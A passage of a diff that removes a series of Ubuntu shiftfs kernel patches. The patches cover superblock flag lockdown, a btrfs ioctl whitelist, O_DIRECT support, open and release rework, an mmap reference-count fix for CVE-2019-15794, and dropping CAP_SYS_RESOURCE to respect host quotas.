- 	.open			= shiftfs_open,
- 	.release		= shiftfs_release,
--	.llseek			= shiftfs_llseek,
-+	.llseek			= shiftfs_file_llseek,
- 	.read_iter		= shiftfs_read_iter,
- 	.write_iter		= shiftfs_write_iter,
- 	.fsync			= shiftfs_fsync,
-@@ -1670,7 +1678,7 @@ const struct file_operations shiftfs_dir_operations = {
- 	.compat_ioctl		= shiftfs_compat_ioctl,
- 	.fsync			= shiftfs_fsync,
- 	.iterate_shared		= shiftfs_iterate_shared,
--	.llseek			= shiftfs_llseek,
-+	.llseek			= shiftfs_dir_llseek,
- 	.open			= shiftfs_open,
- 	.read			= generic_read_dir,
- 	.release		= shiftfs_release,
--- 
-2.39.2
-
-From 10c6312a5c1cd2fbbbcb47adf7597e8cb2e18391 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Wed, 8 May 2019 14:13:14 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: lock down certain superblock flags
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1827122
-
-This locks down various superblock flags to prevent userns-root from
-remounting a superblock with less restrictive options than the original
-mark or underlay mount.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 47 ++++++++++++++++++++++++++++++++++++++++++++++-
- 1 file changed, 46 insertions(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 9771165d1ce0..a1dae7ea593b 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1808,6 +1808,33 @@ static inline bool passthrough_is_subset(int old_flags, int new_flags)
- 	return true;
- }
- 
-+static int shiftfs_super_check_flags(unsigned long old_flags,
-+				     unsigned long new_flags)
-+{
-+	if ((old_flags & SB_RDONLY) && !(new_flags & SB_RDONLY))
-+		return -EPERM;
-+
-+	if ((old_flags & SB_NOSUID) && !(new_flags & SB_NOSUID))
-+		return -EPERM;
-+
-+	if ((old_flags & SB_NODEV) && !(new_flags & SB_NODEV))
-+		return -EPERM;
-+
-+	if ((old_flags & SB_NOEXEC) && !(new_flags & SB_NOEXEC))
-+		return -EPERM;
-+
-+	if ((old_flags & SB_NOATIME) && !(new_flags & SB_NOATIME))
-+		return -EPERM;
-+
-+	if ((old_flags & SB_NODIRATIME) && !(new_flags & SB_NODIRATIME))
-+		return -EPERM;
-+
-+	if (!(old_flags & SB_POSIXACL) && (new_flags & SB_POSIXACL))
-+		return -EPERM;
-+
-+	return 0;
-+}
-+
- static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
- {
- 	int err;
-@@ -1818,6 +1845,10 @@ static int shiftfs_remount(struct super_block *sb, int *flags, char *data)
- 	if (err)
- 		return err;
- 
-+	err = shiftfs_super_check_flags(sb->s_flags, *flags);
-+	if (err)
-+		return err;
-+
- 	/* Mark mount option cannot be changed. */
- 	if (info->mark || (info->mark != new.mark))
- 		return -EPERM;
-@@ -1847,6 +1878,16 @@ struct shiftfs_data {
- 	const char *path;
- };
- 
-+static void shiftfs_super_force_flags(struct super_block *sb,
-+				      unsigned long lower_flags)
-+{
-+	sb->s_flags |= lower_flags & (SB_RDONLY | SB_NOSUID | SB_NODEV |
-+				      SB_NOEXEC | SB_NOATIME | SB_NODIRATIME);
-+
-+	if (!(lower_flags & SB_POSIXACL))
-+		sb->s_flags &= ~SB_POSIXACL;
-+}
-+
- static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 			      int silent)
- {
-@@ -1888,6 +1929,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 		goto out_put_path;
- 	}
- 
-+	sb->s_flags |= SB_POSIXACL;
-+
- 	if (sbinfo->mark) {
- 		struct super_block *lower_sb = path.mnt->mnt_sb;
- 
-@@ -1904,6 +1947,8 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 		 */
- 		sb->s_iflags = SB_I_NOEXEC;
- 
-+		shiftfs_super_force_flags(sb, lower_sb->s_flags);
-+
- 		/*
- 		 * Handle nesting of shiftfs mounts by referring this mark
- 		 * mount back to the original mark mount. This is more
-@@ -1972,6 +2017,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 		 * passthrough settings.
- 		 */
- 		sbinfo->passthrough_mark = sbinfo_mp->passthrough;
-+		shiftfs_super_force_flags(sb, path.mnt->mnt_sb->s_flags);
- 	}
- 
- 	sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1;
-@@ -1995,7 +2041,6 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 	sb->s_op = &shiftfs_super_ops;
- 	sb->s_xattr = shiftfs_xattr_handlers;
- 	sb->s_d_op = &shiftfs_dentry_ops;
--	sb->s_flags |= SB_POSIXACL;
- 	sb->s_root = d_make_root(inode);
- 	if (!sb->s_root) {
- 		err = -ENOMEM;
--- 
-2.39.2
-
-From 650ec55632c03c03e6cc5b08a764609b4b0eb192 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Tue, 11 Jun 2019 11:47:35 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: allow changing ro/rw for subvolumes
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1832316
-
-This enables toggling between ro/rw for btrfs subvolumes under shiftfs.
-
-Currently, btrfs workloads employing shiftfs cause regression.
-With btrfs unprivileged users can already toggle whether a subvolume
-will be ro or rw. This is broken on current shiftfs as we haven't
-whitelisted these ioctls().
-To prevent such regression, we need to whitelist the ioctls
-BTRFS_IOC_FS_INFO, BTRFS_IOC_SUBVOL_GETFLAGS, and
-BTRFS_IOC_SUBVOL_SETFLAGS. All of them should be safe for unprivileged
-users.
-
-Cc: Seth Forshee <seth.forshee@×××××××××.com>
-Cc: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 21 ++++++++++++++++++---
- 1 file changed, 18 insertions(+), 3 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index a1dae7ea593b..49f6714e9f95 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1507,9 +1507,14 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
- 	return ret;
- }
- 
--static bool in_ioctl_whitelist(int flag)
-+static bool in_ioctl_whitelist(int flag, unsigned long arg)
- {
-+	void __user *argp = (void __user *)arg;
-+	u64 flags = 0;
-+
- 	switch (flag) {
-+	case BTRFS_IOC_FS_INFO:
-+		return true;
- 	case BTRFS_IOC_SNAP_CREATE:
- 		return true;
- 	case BTRFS_IOC_SNAP_CREATE_V2:
-@@ -1517,6 +1522,16 @@ static bool in_ioctl_whitelist(int flag)
- 	case BTRFS_IOC_SUBVOL_CREATE:
- 		return true;
- 	case BTRFS_IOC_SUBVOL_CREATE_V2:
-+		return true;
-+	case BTRFS_IOC_SUBVOL_GETFLAGS:
-+		return true;
-+	case BTRFS_IOC_SUBVOL_SETFLAGS:
-+		if (copy_from_user(&flags, arg, sizeof(flags)))
-+			return false;
-+
-+		if (flags & ~BTRFS_SUBVOL_RDONLY)
-+			return false;
-+
- 		return true;
- 	case BTRFS_IOC_SNAP_DESTROY:
- 		return true;
-@@ -1536,7 +1551,7 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd,
- 	case FS_IOC_SETFLAGS:
- 		break;
- 	default:
--		if (!in_ioctl_whitelist(cmd) ||
-+		if (!in_ioctl_whitelist(cmd, arg) ||
- 		    !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
- 			return -ENOTTY;
- 	}
-@@ -1555,7 +1570,7 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd,
- 	case FS_IOC32_SETFLAGS:
- 		break;
- 	default:
--		if (!in_ioctl_whitelist(cmd) ||
-+		if (!in_ioctl_whitelist(cmd, arg) ||
- 		    !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info))
- 			return -ENOIOCTLCMD;
- 	}
--- 
-2.39.2
-
-From cd66a65bbea66683404adadd7d61ec02d04ac21a Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Fri, 19 Jul 2019 17:50:46 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: add O_DIRECT support
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1837223
-
-This enabled O_DIRECT support for shiftfs if the underlay supports it.
-
-Currently shiftfs does not handle O_DIRECT if the underlay supports it.
-This is blocking dqlite - an essential part of LXD - from profiting from
-the performance benefits of O_DIRECT on suitable filesystems when used
-with async io such as aio or io_uring.
-Overlayfs cannot support this directly since the upper filesystem in
-overlay can be any filesystem. So if the upper filesystem does not
-support O_DIRECT but the lower filesystem does you're out of luck.
-Shiftfs does not suffer from the same problem since there is not concept
-of an upper filesystem in the same way that overlayfs has it.
-Essentially, shiftfs is a transparent shim relaying everything to the
-underlay while overlayfs' upper layer is not (completely).
-
-Cc: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 49f6714e9f95..addaa6e21e57 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1126,6 +1126,9 @@ static int shiftfs_open(struct inode *inode, struct file *file)
- 	}
- 
- 	file->private_data = file_info;
-+	/* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */
-+	file->f_mapping = realfile->f_mapping;
-+
- 	file_info->realfile = realfile;
- 	return 0;
- }
--- 
-2.39.2
-
-From 772a8ea3a85f0530a76bc8dbe4e91de92aa35180 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Fri, 19 Jul 2019 17:50:47 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: pass correct point down
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1837231
-
-This used to pass an unsigned long to copy_from_user() instead of a
-void __user * pointer. This will produce warning with a sufficiently
-advanced compiler.
-
-Cc: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index addaa6e21e57..9006201c243d 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1529,7 +1529,7 @@ static bool in_ioctl_whitelist(int flag, unsigned long arg)
- 	case BTRFS_IOC_SUBVOL_GETFLAGS:
- 		return true;
- 	case BTRFS_IOC_SUBVOL_SETFLAGS:
--		if (copy_from_user(&flags, arg, sizeof(flags)))
-+		if (copy_from_user(&flags, argp, sizeof(flags)))
- 			return false;
- 
- 		if (flags & ~BTRFS_SUBVOL_RDONLY)
--- 
-2.39.2
-
-From ca8b1596f4e2a5a3c8ee7b7cb45d4703b329c891 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Thu, 29 Aug 2019 20:45:07 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix buggy unlink logic
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1841977
-
-The way we messed with setting i_nlink was brittle and wrong. We used to
-set the i_nlink of the shiftfs dentry to be deleted to the i_nlink count
-of the underlay dentry of the directory it resided in which makes no
-sense whatsoever. We also missed drop_nlink() which is crucial since
-i_nlink affects whether a dentry is cleaned up on dput().
-With this I cannot reproduce the bug anymore where shiftfs misleads zfs
-into believing that a deleted file can not be removed from disk because
-it is still referenced.
-
-Fixes: commit 87011da41961 ("shiftfs: rework and extend")
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 15 ++++++++++-----
- 1 file changed, 10 insertions(+), 5 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 9006201c243d..e80db9480b5c 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -585,6 +585,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- {
- 	struct dentry *lowerd = dentry->d_fsdata;
- 	struct inode *loweri = dir->i_private;
-+	struct inode *inode = d_inode(dentry);
- 	int err;
- 	const struct cred *oldcred;
- 
-@@ -594,15 +595,19 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- 		err = vfs_rmdir(loweri, lowerd);
- 	else
- 		err = vfs_unlink(loweri, lowerd, NULL);
--	inode_unlock(loweri);
- 	revert_creds(oldcred);
- 
--	shiftfs_copyattr(loweri, dir);
--	set_nlink(d_inode(dentry), loweri->i_nlink);
--	if (!err)
-+	if (!err) {
- 		d_drop(dentry);
- 
--	set_nlink(dir, loweri->i_nlink);
-+		if (rmdir)
-+			clear_nlink(inode);
-+		else
-+			drop_nlink(inode);
-+	}
-+	inode_unlock(loweri);
-+
-+	shiftfs_copyattr(loweri, dir);
- 
- 	return err;
- }
--- 
-2.39.2
-
-From 81445d2871aef886eabb56c7f124d491f445fcc7 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Fri, 30 Aug 2019 14:14:31 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: mark slab objects
- SLAB_RECLAIM_ACCOUNT
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1842059
-
-Shiftfs does not mark it's slab cache as reclaimable. While this is not
-a big deal it is not nice to the kernel in general. The shiftfs cache is
-not so important that it can't be reclaimed.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index e80db9480b5c..a21cb473e000 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -2108,7 +2108,7 @@ static int __init shiftfs_init(void)
- {
- 	shiftfs_file_info_cache = kmem_cache_create(
- 		"shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
--		SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
-+		SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
- 	if (!shiftfs_file_info_cache)
- 		return -ENOMEM;
- 
--- 
-2.39.2
-
-From 3d0e90c90e6b1b915b9ac760c865529b28cf1cdd Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Wed, 2 Oct 2019 09:57:14 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework how shiftfs opens files
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1846265
-
-This commit simplifies how shiftfs open files, both regular files an
-directories.
-
-In the first iteration, we implemented a kmem cache for struct
-shiftfs_file_info which stashed away a struct path and the struct file
-for the underlay. The path however was never used anywhere so the struct
-shiftfs_file_info and therefore the whole kmem cache can go away.
-Instead we move to the same model as overlayfs and just stash away the
-struct file for the underlay in file->private_data of the shiftfs struct
-file.
-Addtionally, we split the .open method for files and directories.
-Similar to overlayfs .open for regular files uses open_with_fake_path()
-which ensures that it doesn't contribute to the open file count (since
-this would mean we'd count double). The .open method for directories
-however used dentry_open() which contributes to the open file count.
-
-The basic logic for opening files is unchanged. The main point is to
-ensure that a reference to the underlay's dentry is kept through struct
-path.
-
-Various bits and pieces of this were cooked up in discussions Seth and I
-had in Paris.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 105 +++++++++++++++++++++++----------------------------
- 1 file changed, 47 insertions(+), 58 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index a21cb473e000..55bb32b611f2 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -31,13 +31,6 @@ struct shiftfs_super_info {
- 	unsigned int passthrough_mark;
- };
- 
--struct shiftfs_file_info {
--	struct path realpath;
--	struct file *realfile;
--};
--
--struct kmem_cache *shiftfs_file_info_cache;
--
- static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
- 			       umode_t mode, dev_t dev, struct dentry *dentry);
- 
-@@ -1042,21 +1035,21 @@ static const struct inode_operations shiftfs_symlink_inode_operations = {
- };
- 
- static struct file *shiftfs_open_realfile(const struct file *file,
--					  struct path *realpath)
-+					  struct inode *realinode)
- {
--	struct file *lowerf;
--	const struct cred *oldcred;
-+	struct file *realfile;
-+	const struct cred *old_cred;
- 	struct inode *inode = file_inode(file);
--	struct inode *loweri = realpath->dentry->d_inode;
-+	struct dentry *lowerd = file->f_path.dentry->d_fsdata;
- 	struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
-+	struct path realpath = { .mnt = info->mnt, .dentry = lowerd };
- 
--	oldcred = shiftfs_override_creds(inode->i_sb);
--	/* XXX: open_with_fake_path() not gauranteed to stay around, if
--	 * removed use dentry_open() */
--	lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred);
--	revert_creds(oldcred);
-+	old_cred = shiftfs_override_creds(inode->i_sb);
-+	realfile = open_with_fake_path(&realpath, file->f_flags, realinode,
-+				       info->creator_cred);
-+	revert_creds(old_cred);
- 
--	return lowerf;
-+	return realfile;
- }
- 
- #define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT)
-@@ -1096,8 +1089,7 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags)
- 
- static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
- {
--	struct shiftfs_file_info *file_info = file->private_data;
--	struct file *realfile = file_info->realfile;
-+	struct file *realfile = file->private_data;
- 
- 	lowerfd->flags = 0;
- 	lowerfd->file = realfile;
-@@ -1111,51 +1103,57 @@ static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
- 
- static int shiftfs_open(struct inode *inode, struct file *file)
- {
--	struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info;
--	struct shiftfs_file_info *file_info;
- 	struct file *realfile;
--	struct path *realpath;
- 
--	file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL);
--	if (!file_info)
--		return -ENOMEM;
--
--	realpath = &file_info->realpath;
--	realpath->mnt = ssi->mnt;
--	realpath->dentry = file->f_path.dentry->d_fsdata;
--
--	realfile = shiftfs_open_realfile(file, realpath);
--	if (IS_ERR(realfile)) {
--		kmem_cache_free(shiftfs_file_info_cache, file_info);
-+	realfile = shiftfs_open_realfile(file, inode->i_private);
-+	if (IS_ERR(realfile))
- 		return PTR_ERR(realfile);
--	}
- 
--	file->private_data = file_info;
-+	file->private_data = realfile;
- 	/* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */
- 	file->f_mapping = realfile->f_mapping;
- 
--	file_info->realfile = realfile;
- 	return 0;
- }
- 
--static int shiftfs_release(struct inode *inode, struct file *file)
-+static int shiftfs_dir_open(struct inode *inode, struct file *file)
- {
--	struct shiftfs_file_info *file_info = file->private_data;
-+	struct file *realfile;
-+	const struct cred *oldcred;
-+	struct dentry *lowerd = file->f_path.dentry->d_fsdata;
-+	struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
-+	struct path realpath = { .mnt = info->mnt, .dentry = lowerd };
-+
-+	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
-+	realfile = dentry_open(&realpath, file->f_flags | O_NOATIME,
-+			       info->creator_cred);
-+	revert_creds(oldcred);
-+	if (IS_ERR(realfile))
-+		return PTR_ERR(realfile);
- 
--	if (file_info) {
--		if (file_info->realfile)
--			fput(file_info->realfile);
-+	file->private_data = realfile;
- 
--		kmem_cache_free(shiftfs_file_info_cache, file_info);
--	}
-+	return 0;
-+}
-+
-+static int shiftfs_release(struct inode *inode, struct file *file)
-+{
-+	struct file *realfile = file->private_data;
-+
-+	if (realfile)
-+		fput(realfile);
- 
- 	return 0;
- }
- 
-+static int shiftfs_dir_release(struct inode *inode, struct file *file)
-+{
-+	return shiftfs_release(inode, file);
-+}
-+
- static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence)
- {
--	struct shiftfs_file_info *file_info = file->private_data;
--	struct file *realfile = file_info->realfile;
-+	struct file *realfile = file->private_data;
- 
- 	return vfs_llseek(realfile, offset, whence);
- }
-@@ -1274,8 +1272,7 @@ static int shiftfs_fsync(struct file *file, loff_t start, loff_t end,
- 
- static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
- {
--	struct shiftfs_file_info *file_info = file->private_data;
--	struct file *realfile = file_info->realfile;
-+	struct file *realfile = file->private_data;
- 	const struct cred *oldcred;
- 	int ret;
- 
-@@ -1671,8 +1668,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
- {
- 	const struct cred *oldcred;
- 	int err = -ENOTDIR;
--	struct shiftfs_file_info *file_info = file->private_data;
--	struct file *realfile = file_info->realfile;
-+	struct file *realfile = file->private_data;
- 
- 	oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
- 	err = iterate_dir(realfile, ctx);
-@@ -1698,13 +1694,13 @@ const struct file_operations shiftfs_file_operations = {
- };
- 
- const struct file_operations shiftfs_dir_operations = {
-+	.open			= shiftfs_dir_open,
-+	.release		= shiftfs_dir_release,
- 	.compat_ioctl		= shiftfs_compat_ioctl,
- 	.fsync			= shiftfs_fsync,
- 	.iterate_shared		= shiftfs_iterate_shared,
- 	.llseek			= shiftfs_dir_llseek,
--	.open			= shiftfs_open,
- 	.read			= generic_read_dir,
--	.release		= shiftfs_release,
- 	.unlocked_ioctl		= shiftfs_ioctl,
- };
- 
-@@ -2106,19 +2102,12 @@ static struct file_system_type shiftfs_type = {
- 
- static int __init shiftfs_init(void)
- {
--	shiftfs_file_info_cache = kmem_cache_create(
--		"shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
--		SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
--	if (!shiftfs_file_info_cache)
--		return -ENOMEM;
--
- 	return register_filesystem(&shiftfs_type);
- }
- 
- static void __exit shiftfs_exit(void)
- {
- 	unregister_filesystem(&shiftfs_type);
--	kmem_cache_destroy(shiftfs_file_info_cache);
- }
- 
- MODULE_ALIAS_FS("shiftfs");
--- 
-2.39.2
-
-From 0afd6d19d12a42d7905110a41cdb3815e023467c Mon Sep 17 00:00:00 2001
-From: Seth Forshee <seth.forshee@×××××××××.com>
-Date: Wed, 6 Nov 2019 09:38:57 -0600
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Restore vm_file value when lower fs
- mmap fails
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1850994
-
-shiftfs_mmap() overwrites vma->vm_file before calling the lower
-filesystem mmap but does not restore the original value on
-failure. This means it is giving a pointer to the lower fs file
-back to the caller with no reference, which is a bad practice.
-However, it does not lead to any issues with upstream kernels as
-no caller accesses vma->vm_file after call_mmap().
-
-With the aufs patches applied the story is different. Whereas
-mmap_region() previously fput a local variable containing the
-file it assigned to vm_file, it now calls vma_fput() which will
-fput vm_file, for which it has no reference, and the reference
-for the original vm_file is not put.
-
-Fix this by restoring vma->vm_file to the original value when the
-mmap call into the lower fs fails.
-
-CVE-2019-15794
-
-Reported-by: Jann Horn <jannh@××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 15 +++++++++++----
- 1 file changed, 11 insertions(+), 4 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 55bb32b611f2..57d84479026b 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1289,10 +1289,17 @@ static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
- 
- 	shiftfs_file_accessed(file);
- 
--	if (ret)
--		fput(realfile); /* Drop refcount from new vm_file value */
--	else
--		fput(file); /* Drop refcount from previous vm_file value */
-+	if (ret) {
-+		/*
-+		 * Drop refcount from new vm_file value and restore original
-+		 * vm_file value
-+		 */
-+		vma->vm_file = file;
-+		fput(realfile);
-+	} else {
-+		/* Drop refcount from previous vm_file value */
-+		fput(file);
-+	}
- 
- 	return ret;
- }
--- 
-2.39.2
-
-From 5b548337ff886dfb00ec3a142693226394673126 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Wed, 23 Oct 2019 14:22:28 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: setup correct s_maxbytes limit
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1849482
-
-Set the s_maxbytes limit to MAX_LFS_FILESIZE.
-Currently shiftfs limits the maximum size for fallocate() needlessly
-causing calls such as fallocate --length 2GB ./file to fail. This
-limitation is arbitrary since it's not caused by the underlay but
-rather by shiftfs itself capping the s_maxbytes. This causes bugs such
-as the one reported in [1].
-
-[1]: https://github.com/lxc/lxd/issues/6333
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com>
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 57d84479026b..6a2b5e3d0d53 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -2064,6 +2064,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 	inode->i_private = dentry->d_inode;
- 
- 	sb->s_magic = SHIFTFS_MAGIC;
-+	sb->s_maxbytes = MAX_LFS_FILESIZE;
- 	sb->s_op = &shiftfs_super_ops;
- 	sb->s_xattr = shiftfs_xattr_handlers;
- 	sb->s_d_op = &shiftfs_dentry_ops;
--- 
-2.39.2
-
-From fa7001e866380a4d2f45022295b6db1fd0cf12c5 Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian.brauner@××××××.com>
-Date: Wed, 23 Oct 2019 14:23:50 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: drop CAP_SYS_RESOURCE from effective
- capabilities
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1849483
-
-Currently shiftfs allows to exceed project quota and reserved space on
-e.g. ext2. See [1] and especially [2] for a bug report. This is very
-much not what we want. Quotas and reserverd space settings set on the
-host need to respected. The cause for this issue is overriding the
-credentials with the superblock creator's credentials whenever we
-perform operations such as fallocate() or writes while retaining
-CAP_SYS_RESOURCE.
-
-The fix is to drop CAP_SYS_RESOURCE from the effective capability set
-after we have made a copy of the superblock creator's credential at
-superblock creation time. This very likely gives us more security than
-we had before and the regression potential seems limited. I would like
-to try this apporach first before coming up with something potentially
-more sophisticated. I don't see why CAP_SYS_RESOURCE should become a
-limiting factor in most use-cases.
-
-[1]: https://github.com/lxc/lxd/issues/6333
-[2]: https://github.com/lxc/lxd/issues/6333#issuecomment-545154838
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com>
-Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/shiftfs.c | 8 ++++++--
- 1 file changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index 6a2b5e3d0d53..0d6ce377b07c 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1958,6 +1958,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 	sb->s_flags |= SB_POSIXACL;
- 
- 	if (sbinfo->mark) {
-+		struct cred *cred_tmp;
- 		struct super_block *lower_sb = path.mnt->mnt_sb;
- 
- 		/* to mark a mount point, must root wrt lower s_user_ns */
-@@ -2012,11 +2013,14 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
- 			sbinfo->passthrough_mark = sbinfo->passthrough;
- 		}
- 
--		sbinfo->creator_cred = prepare_creds();
--		if (!sbinfo->creator_cred) {
-+		cred_tmp = prepare_creds();
-+		if (!cred_tmp) {
- 			err = -ENOMEM;
- 			goto out_put_path;
- 		}
-+		/* Don't override disk quota limits or use reserved space. */
-+		cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
